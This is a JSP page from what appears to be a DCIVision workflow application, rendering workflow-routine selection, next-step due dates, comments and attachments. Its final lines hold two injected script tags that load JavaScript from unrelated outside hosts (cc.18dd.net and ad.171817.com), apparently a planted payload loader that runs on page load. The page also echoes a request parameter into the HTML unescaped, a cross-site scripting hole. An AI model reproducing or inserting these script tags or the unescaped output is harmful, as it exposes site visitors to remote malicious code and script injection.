<script language="javascript">

      <!--


        function PopupMultipleFileUpload(idField) {
          var frm;
          var windowName;

          var sPopupPath = "<%=request.getContextPath()%>/workflow/MaintWorkflowStepFormEquat.do";
          var sOptions = 'location=no,scrollbars=yes,menubar=no,status=no,resizable=1,width=700,height=300';//left=80 top=80
          var oldTarget;
          var oldAction;


          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }

          oldTarget = frm.target;
          oldAction = frm.action;

          windowName = "DCIVisionPopupMultipleFileUpload";

          //OpenCenteredPopup("<%=request.getContextPath()%>/upload/MaintMultipleFileUpload.do?formName="+frm.name+"&idField="+idField+"&SHOW_HEADER_FOOTER=N&displayFileNames="+displayFileNames+"&fileNames="+fileNames, windowName, width, height, "scrollbars=no");
          window.open(sPopupPath, windowName, sOptions);
          frm.target = windowName;
          frm.action = "<%=request.getContextPath()%>/upload/MaintMultipleFileUpload.do?formName="+frm.name+"&idField="+idField+"&SHOW_HEADER_FOOTER=N";
          frm.submit();
          frm.target = oldTarget;
          frm.action = oldAction;

          return(false);
        }

        function PopupLookupFromParaDoc(idField) {
          var windowName;

          var sPopupPath = "";
          var sOptions = 'location=no,scrollbars=yes,menubar=no,status=no,resizable=1,width=800,height=650';//left=80 top=80
          var oldTarget;
          var oldAction;

          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }

          oldTarget = frm.target;
          oldAction = frm.action;

          windowName = "DCIVisionPopupMultipleFileUpload";


          //OpenCenteredPopup("<%=request.getContextPath()%>/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N&displayDmsFileNames="+displayDmsFileNames+"&dmsFileNames="+dmsFileNames, windowName, width, height, "scrollbars=yes");
          window.open(sPopupPath, windowName, sOptions);
          frm.target = windowName;
          frm.action = "<%=request.getContextPath()%>/upload/ListLookupFromParaDoc.do?SHOW_HEADER_FOOTER=N";
          frm.submit();
          frm.target = oldTarget;
          frm.action = oldAction;

          return(false);
        }

        function PopupSetDueDates(idField) {
          var height;
          var width;
          var windowName;
          var moreStepDueDates
          var workflowRecordID;


          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }

          height = 90 + 30 * <%=SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKFLOW_ATTACHMENT_UPLOAD_LIMIT)%>;
          width = 540;
          windowName = "DCIVisionPopupSetDueDates";
          var frmObj = eval('frm.'+idField);
            moreStepDueDates = frm.nextStepDueDates.value;
            workflowRecordID = frm.workflowRecordID.value;
          if(workflowRecordID.indexOf("|") > 0){
            workflowRecordID = workflowRecordID.substring(0,workflowRecordID.indexOf("|"));
          }

          OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintNextStepDueDates.do?navMode=N&SHOW_HEADER_FOOTER=N&workflowRecordID="+workflowRecordID+"&moreStepDueDates="+moreStepDueDates, windowName, width, height, "scrollbars=yes");
          return(false);
        }

       function setDueDates(moreStepDueDates,nextStepDueDates){
          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }
          frm.moreStepDueDates.value = moreStepDueDates;
          frm.nextStepDueDates.value = nextStepDueDates;
          //return(false);
       }
        function setFileNamesValue(displayFileNames,fileNames){
          for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }

          frm.oldUpdateFileText.value = displayFileNames;
          frm.oldUpdateFileValue.value = fileNames;

       }
       function disableDueDateDiv(){
         for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
         }

         if(frm.workflowRecordID.value.indexOf("<%=com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE%>")>0 ||
            frm.workflowRecordID.value.indexOf("<%=com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY%>")>0){
           frm.nextStepAllowAssignDueDate.value="<%=GlobalConstant.TRUE%>";
           if(parseInt(frm.workflowRecordID.value.substring(frm.workflowRecordID.value.lastIndexOf("|")+1,frm.workflowRecordID.value.length)) > 1){
             if (FindObj("dueDateMoreDiv")) {
               FindObj("dueDateMoreDiv").style.display = "block";
             }
             if (FindObj("dueDateOneDiv")) {
               FindObj("dueDateOneDiv").style.display = "none";
             }
           } else {
             if( frm.workflowRecordID.value.indexOf("<%=com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY%>")>0 ){

              nextStepDueDateStyle.style.backgroundColor = "#CC0000";
              nextStepDueDateStyle.style.color = "#FFFFFF";

             }else{
               nextStepDueDateStyle.style.backgroundColor = "#DDDDDD";
               nextStepDueDateStyle.style.color = "#000000";
             }
               if (FindObj("dueDateMoreDiv")) {
                 FindObj("dueDateMoreDiv").style.display = "none";
               }
               if (FindObj("dueDateOneDiv")) {
                 FindObj("dueDateOneDiv").style.display = "block";
               }
             }
         } else {
           frm.nextStepAllowAssignDueDate.value="<%=GlobalConstant.FALSE%>";
           if (FindObj("dueDateOneDiv")) {
             FindObj("dueDateOneDiv").style.display = "none";
           }
           if (FindObj("dueDateMoreDiv")) {
             FindObj("dueDateMoreDiv").style.display = "none";
           }
         }

       }

      //-->
</script>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ page import="com.dcivision.workflow.bean.*" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>

<%
  boolean isDynamicAssignDueDate = false;
  int dynamicAssignStepCount = 0;
  boolean nextStepDueDateIsMandatory = false;
  List attachmentList = null;
try {
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  Integer DMS_PERSONAL_FOLDER = new Integer("6001");
  Integer DMS_PUBLIC_FOLDER = new Integer("6002");


  if (Utility.isEmpty(request.getParameter("isWorkflowViewFlag"))||"null".equals(request.getParameter("isWorkflowViewFlag"))) {
    java.sql.Connection dbConnection = (java.sql.Connection)request.getAttribute(com.dcivision.framework.GlobalConstant.DB_KEY);
    com.dcivision.workflow.dao.WorkflowRecordDAObject workflowRecordDAO = new com.dcivision.workflow.dao.WorkflowRecordDAObject(sessionContainer, dbConnection);
    com.dcivision.workflow.dao.MtmWorkflowRecordObjectLinkDAObject workflowRecordObjectLinkDAO = new com.dcivision.workflow.dao.MtmWorkflowRecordObjectLinkDAObject(sessionContainer, dbConnection);
    com.dcivision.framework.web.WorkflowActionFormInterface actionForm = null;
    String actionMode = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
    String formName = null;
    boolean editFlag = false;

    // Find the action form name.
    for (java.util.Enumeration e = request.getAttributeNames(); e.hasMoreElements();) {
      String paramName = (String)e.nextElement();
      Object tmpObj = request.getAttribute(paramName);
      if (tmpObj instanceof com.dcivision.framework.web.WorkflowActionFormInterface && !paramName.equals("org.apache.struts.taglib.html.BEAN")) {
        actionForm = (com.dcivision.framework.web.WorkflowActionFormInterface)tmpObj;
        formName = paramName;
      }
    }

    if (actionForm != null) {
      // Find the related workflow routine(s).
      Integer workflowCategoryID = new Integer((String)pageContext.getAttribute("sysWorkflowCategoryID"));


      List workflowRecordList = new ArrayList();
      List mtmWorkflowRecordObjectLinkList = null;

      // Base on difference category ID.
      if (com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals(workflowCategoryID.toString()) ||
          com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PAPER_DOCUMENT.equals(workflowCategoryID.toString()) ) {
        Integer objectID = null;
        String objectType = "";
        List udfWorkflowList = null;

        if (!Utility.isEmpty(((com.dcivision.dms.web.MaintDmsDocumentForm)actionForm).getUserDefinedFieldID())) {
          if(com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals(workflowCategoryID.toString()) ){
            workflowCategoryID = new Integer( com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_UDF_DOCUMENT );
          } else {
            workflowCategoryID = new Integer( com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PAPER_UDF_DOCUMENT );
          }
          objectID = new Integer( ((com.dcivision.dms.web.MaintDmsDocumentForm)actionForm).getUserDefinedFieldID() );
          objectType = GlobalConstant.OBJECT_TYPE_UDF;
          udfWorkflowList = workflowRecordDAO.getListCanSubmit(workflowCategoryID,objectID,objectType);
        }

        if(!Utility.isEmpty(udfWorkflowList)){
          workflowRecordList = udfWorkflowList;
        } else {
          workflowCategoryID = new Integer((String)pageContext.getAttribute("sysWorkflowCategoryID"));
          objectID = new Integer(((com.dcivision.dms.web.MaintDmsDocumentForm)actionForm).getRootID());
          objectType = GlobalConstant.OBJECT_TYPE_DOCUMENT;
          workflowRecordList = workflowRecordDAO.getListCanSubmit(workflowCategoryID,objectID,objectType);
        }

      } else if (com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(workflowCategoryID.toString()) ||
                 com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_GROUP.equals(workflowCategoryID.toString()) ){
        String tmpWfRecordID = request.getParameter("workflowRecordID");
        String tmpWfStepID = request.getParameter("workflowStepID");
        if(!Utility.isEmpty(tmpWfRecordID) && !"null".equals(tmpWfRecordID) && (Utility.isEmpty(tmpWfStepID) || "null".equals( tmpWfStepID ) ) ){
          //get all workflows that associated with this form & this form group
          workflowRecordList.add(workflowRecordDAO.getObjectByID(new Integer(tmpWfRecordID)) );

        }
      }
      boolean isCanStart=false;
      for(int i=0;i<workflowRecordList.size();i++){
        //Check the curren user whether have permission for this workflow.
        isCanStart=workflowRecordDAO.checkPermissionByWorkflowRecordIDUserRecordID(((WorkflowRecord)workflowRecordList.get(i)).getID(),sessionContainer.getUserRecordID(),PermissionManager.EXECUTE_PERMISSION);
    	if(!isCanStart){
    	  //The current user isn't have permission,remove the workflowRecord form the list.
          workflowRecordList.remove(i);
    	}  
      }
      
      if (!Utility.isEmpty(workflowRecordList)) {

         // add by dick

       if (GlobalConstant.NAV_MODE_VIEW.equals(actionMode) && !Utility.isEmpty(request.getParameter("formSubmissionID")) && !"null".equals(request.getParameter("formSubmissionID"))) {
         Integer currentRecordID = null;
         com.dcivision.workflow.dao.MtmWorkflowProgressSystemObjectDAObject progressSystemObejctDAO = new com.dcivision.workflow.dao.MtmWorkflowProgressSystemObjectDAObject(sessionContainer,dbConnection);
         com.dcivision.workflow.dao.WorkflowProgressDAObject progressDAO = new com.dcivision.workflow.dao.WorkflowProgressDAObject(sessionContainer,dbConnection);
         com.dcivision.workflow.dao.WorkflowStepDAObject stepDAO = new com.dcivision.workflow.dao.WorkflowStepDAObject(sessionContainer,dbConnection);
         List progressSystemList = progressSystemObejctDAO.getListByBeanClassNameObjectID("com.dcivision.form.bean.FormSubmission", new Integer(request.getParameter("formSubmissionID")));
         if (!Utility.isEmpty(progressSystemList)) {
           com.dcivision.workflow.bean.MtmWorkflowProgressSystemObject systemObject = (com.dcivision.workflow.bean.MtmWorkflowProgressSystemObject)progressSystemList.get(0);
           com.dcivision.workflow.bean.WorkflowProgress workflowProgress = (com.dcivision.workflow.bean.WorkflowProgress)progressDAO.getObjectByID(systemObject.getWorkflowProgressID());
           actionForm.setNextStepDueDates(workflowProgress.getNextStepDueDates());
           com.dcivision.workflow.bean.WorkflowStep currentStep = (com.dcivision.workflow.bean.WorkflowStep)stepDAO.getObjectByID(workflowProgress.getWorkflowStepID());
           currentRecordID = currentStep.getWorkflowRecordID();
         }
         boolean foundFlag = false;
          for (int j = 0; j < workflowRecordList.size(); j++) {
            foundFlag = false;
            if (((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(j)).getID().equals(currentRecordID)) {

              foundFlag = true;
            }
            if (!foundFlag) {
            workflowRecordList.remove(j--);
            }
          }
       }
       String[][] tmpAry = new String[workflowRecordList.size()][];
       //end by dick
        for (int i = 0; i < workflowRecordList.size(); i++) {
          com.dcivision.workflow.bean.WorkflowRecord tmpWfRecord = (com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i);
          String workflowDescription = TextUtility.noNull(tmpWfRecord.getDescription());
          // limit to 50 characters
          int limit = 50;
          if(workflowDescription.length() > limit){
            workflowDescription = workflowDescription.substring(0, limit) + "...";
          }

          if (workflowRecordList.size() == 1) {
            actionForm.setWorkflowRecordID(tmpWfRecord.getID().toString());
            tmpAry[i] = new String[] { (tmpWfRecord.getWorkflowCode()  + " (" + tmpWfRecord.getWorkflowVersion() + ") - " + workflowDescription ), tmpWfRecord.getID().toString() };
            dynamicAssignStepCount = ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDateCount();
            if(com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE.equals( ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDate() ) ||
               com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals( ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDate() )  ){
              isDynamicAssignDueDate = true;
              if(com.dcivision.workflow.bean.WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals( ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDate() ) ){
                nextStepDueDateIsMandatory = true;
              }
            }
          } else {
            tmpAry[i] = new String[] { (tmpWfRecord.getWorkflowCode() + " (" + tmpWfRecord.getWorkflowVersion() + ") - " + workflowDescription), tmpWfRecord.getID().toString()+ "|" + tmpWfRecord.getNextStepDynamicAssignDueDate() + "|" + tmpWfRecord.getNextStepDynamicAssignDueDateCount() };
          }
        }
        if (workflowRecordList.size() > 1) {
          editFlag = true;
        }

        if (GlobalConstant.NAV_MODE_VIEW.equals(actionMode) && !Utility.isEmpty(request.getParameter("formSubmissionID")) && !"null".equals(request.getParameter("formSubmissionID"))) {
          nextStepDueDateIsMandatory = false;
        }


        //get the comment, attachment etc.
        if (!com.dcivision.framework.Utility.isEmpty(request.getParameter("trackID")) && !"null".equals(request.getParameter("trackID")) ) {
          com.dcivision.workflow.core.WorkflowProgressManager progressManager = new com.dcivision.workflow.core.WorkflowProgressManager(sessionContainer, dbConnection);
          java.util.HashMap hashMap = progressManager.getWorkflowAccessionalInfo(new Integer(request.getParameter("trackID")) );

          actionForm.setWorkflowComment((String)hashMap.get("comment"));
          //actionForm.setNextStepDueDates((String)hashMap.get("dueDate"));
          if(!Utility.isEmpty(hashMap.get("attachmentList")) ){
            attachmentList = (List)(hashMap.get("attachmentList"));
          }
        }


      %>
      <html:hidden property='oldUpdateFileText' value=""/>
      <html:hidden property='oldUpdateFileValue' value=""/>
    <tr><td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='12'/></td></tr>
    <html:hidden property='submitSystemWorkflow' value='Y'/>
    <layout:sectionHeader name='workflow.label.workflow_information' mandatory='false'/>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.workflow_routine'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <%if (!GlobalConstant.NAV_MODE_VIEW.equals(actionMode)) {%>
      <a href="" onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID="<%= editFlag ? (" + document." + formName + ".workflowRecordID.options[document." + formName + ".workflowRecordID.selectedIndex].value.substring(0,document." + formName + ".workflowRecordID.options[document." + formName + ".workflowRecordID.selectedIndex].value.indexOf(\"|\") )") : (" + \"" + ((com.dcivision.workflow.bean.WorkflowRecord)workflowRecordList.get(0)).getID() + "\"") %>, "DCIVisionWorkflowPreviewWin", 800, 600, "scrollbars=yes")'><html:img src='IconView.gif'  align='absmiddle'/></a>
      <%}%>
      <html:select property='workflowRecordID' textOnly='<%=!editFlag%>' onchange='return disableDueDateDiv()'>
        <html:options stringArray='<%=tmpAry%>' hasSelect='false' convertLabel='false'/>
      </html:select>
      </td>
    </tr>
    <!-- ===================Dynamic Assign Due Date For Next Step Begin======================== -->
    <tr><td colspan="2">
    <html:hidden property='nextStepAllowAssignDueDate'/>
    <div id="dueDateOneDiv">
    <table width="100%" cellspacing="0" cellpadding="0">
    <tr>
      <td id="nextStepDueDateStyle" class="formLabelSmall">
	  <bean:message key='workflow.label.next_step_due_date'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(actionMode)) {%>
        <html:text property='nextStepDueDates'/>
      <%}else {%>
      <html:datepicker property='nextStepDueDates' time='true'/></td>
      <%}%>
    </tr>
    </table>
    </div>

    <div id="dueDateMoreDiv">
    <table width="100%" cellspacing="0" cellpadding="0">
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.next_step_due_date'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(actionMode)) {%>
        <%=request.getParameter("moreStepDueDates")%>
      <%}else{ %>
        <textarea name="moreStepDueDates" cols="40" rows='4' readonly="readonly"></textarea>
        &nbsp;
        <html:standardButton label="workflow.label.set_due_date" onClick="return PopupSetDueDates('nextStepDueDates')"/> 
      <%}%>

      </td>
    </tr>
    </table>
    </div>

    </td></tr>
    <!-- ==================Dynamic Assign Due Date For Next Step End ========================== -->

    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.progress_comment'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:textarea property='workflowComment' cols='40' rows='3' textlimit='1000'/></td>
    </tr>
    <!-- Upload Attachment -->
    <tr>
      <td class="formLabelSmall" rowspan='<%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?"1":"2"%>'>
	  <bean:message key='workflow.label.supporting_document'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <%
      SysFunction sysFunction1 = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
      if ( sysFunction1!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction1.getStatus()) ){
       String permissionStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
       permissionStr += permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
       if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){
      %>
      <wfm:attachment width="380" height="22" popW="800" popH="650" URL="/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N" attachmentList='<%=attachmentList%>'/>
      <%} else {%>
      <wfm:attachment width="380" height="22" popW="800" popH="600" URL="/upload/MaintMultipleFileUpload.do?SHOW_HEADER_FOOTER=N" attachmentList='<%=attachmentList%>'/>
      <%}} else {%>
      <wfm:attachment width="380" height="22" popW="800" popH="600" URL="/upload/MaintMultipleFileUpload.do?SHOW_HEADER_FOOTER=N" attachmentList='<%=attachmentList%>'/>
      <%}%>
      </td>
    <tr>


        <%if (request.getAttribute("WF_PROGRESS") != null) {       %>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.track_id'/>:&nbsp;</td>
      <td class="formFieldSmall"><font color="#0000FF"><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), ((com.dcivision.workflow.bean.WorkflowProgress)request.getAttribute("WF_PROGRESS")).getTrackID() )%></font></td>
    </tr>
        <%} else if (!com.dcivision.framework.Utility.isEmpty(request.getParameter("trackID")) && !"null".equals(request.getParameter("trackID")) ) {
        %>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.track_id'/>:&nbsp;</td>
      <td class="formFieldSmall"><font color="#0000FF"><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), new Integer(request.getParameter("trackID")) )%></font></td>
    </tr>
        <%}%>
      <%}%>
    <%}%>
  <%}%>

<%} catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  }%>

<script language="javascript">
 <!--
   init();

   function init(){
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    if(frm.workflowRecordID){
     disableDueDateDiv();
    }
    <%if(isDynamicAssignDueDate && dynamicAssignStepCount > 1){%>
      if (FindObj("dueDateMoreDiv")) {
        FindObj("dueDateMoreDiv").style.display = "block";
      }
      if (FindObj("dueDateOneDiv")) {
        FindObj("dueDateOneDiv").style.display = "none";
      }
    <%}%>
    <%if(isDynamicAssignDueDate && dynamicAssignStepCount == 1){%>
      frm.nextStepAllowAssignDueDate.value="<%=GlobalConstant.TRUE%>";
      <%if(nextStepDueDateIsMandatory){%>
    nextStepDueDateStyle.style.backgroundColor = "#CC0000";
    nextStepDueDateStyle.style.color = "#FFFFFF";
      <%}%>
      if (FindObj("dueDateMoreDiv")) {
        FindObj("dueDateMoreDiv").style.display = "none";
      }
      if (FindObj("dueDateOneDiv")) {
        FindObj("dueDateOneDiv").style.display = "block";
      }
    <%}%>
  }
 -->
 </script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>